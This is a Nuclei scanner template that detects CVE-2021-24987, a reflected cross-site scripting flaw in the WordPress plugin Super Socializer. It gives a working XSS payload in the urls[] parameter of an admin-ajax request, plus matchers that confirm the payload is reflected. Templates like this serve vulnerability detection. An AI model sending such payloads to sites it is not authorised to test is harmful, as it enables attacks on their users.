nuclei-templates/cves/2021/CVE-2021-24987.yaml

id: CVE-2021-24987

info:
  name: Super Socializer < 7.13.30 - Reflected Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: The plugin does not sanitise and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue.
  reference:
    - https://wpscan.com/vulnerability/a14b668f-812f-46ee-827e-0996b378f7f0
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24987
  tags: xss,wp,wp-plugin,wordpress,cve,cve2021
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-24987
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"facebook_urls":[["<img src=x onerror=alert(document.domain)>"]]'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200